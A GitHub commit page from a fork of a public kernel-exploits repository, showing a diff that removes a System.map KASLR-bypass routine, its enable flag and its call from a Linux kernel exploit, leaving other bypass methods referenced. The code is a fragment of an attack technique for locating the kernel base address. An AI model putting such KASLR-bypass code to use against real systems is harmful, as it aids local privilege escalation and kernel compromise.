forked from bcoles/kernel-exploits
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
4 changed files
with
0 additions
and
196 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -117,7 +117,6 @@ Updated by <[email protected]> | |
# define KERNEL_BASE_MIN 0xffffffff00000000ul | ||
# define KERNEL_BASE_MAX 0xffffffffff000000ul | ||
# define ENABLE_KASLR_BYPASS_KALLSYMS 1 | ||
# define ENABLE_KASLR_BYPASS_SYSMAP 1 | ||
# define ENABLE_KASLR_BYPASS_SYSLOG 1 | ||
# define ENABLE_KASLR_BYPASS_MINCORE 1 | ||
#endif | ||
|
@@ -808,47 +807,6 @@ unsigned long get_kernel_addr_kallsyms() { | |
} | ||
#endif | ||
|
||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * | ||
// https://grsecurity.net/~spender/exploits/exploit.txt | ||
|
||
#if ENABLE_KASLR_BYPASS_SYSMAP | ||
unsigned long get_kernel_addr_sysmap() { | ||
FILE *f; | ||
unsigned long addr = 0; | ||
char path[512] = "/boot/System.map-"; | ||
|
||
struct utsname u; | ||
u = get_kernel_version(); | ||
strcat(path, u.release); | ||
dprintf("[.] trying %s...\n", path); | ||
f = fopen(path, "r"); | ||
if (f == NULL) { | ||
dprintf("[-] open/read(%s)\n", path); | ||
return 0; | ||
} | ||
|
||
char dummy; | ||
char sname[256]; | ||
char* name = "startup_64"; | ||
int ret = 0; | ||
while (ret != EOF) { | ||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); | ||
if (ret == 0) { | ||
fscanf(f, "%s\n", sname); | ||
continue; | ||
} | ||
if (!strcmp(name, sname)) { | ||
fclose(f); | ||
return addr; | ||
} | ||
} | ||
|
||
fclose(f); | ||
dprintf("[-] kernel base not found in %s\n", path); | ||
return 0; | ||
} | ||
#endif | ||
|
||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * * | ||
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431 | ||
|
||
|
@@ -906,11 +864,6 @@ unsigned long get_kernel_addr() { | |
if (addr) return addr; | ||
#endif | ||
|
||
#if ENABLE_KASLR_BYPASS_SYSMAP | ||
addr = get_kernel_addr_sysmap(); | ||
if (addr) return addr; | ||
#endif | ||
|
||
#if ENABLE_KASLR_BYPASS_SYSLOG | ||
addr = get_kernel_addr_syslog(); | ||
if (addr) return addr; | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters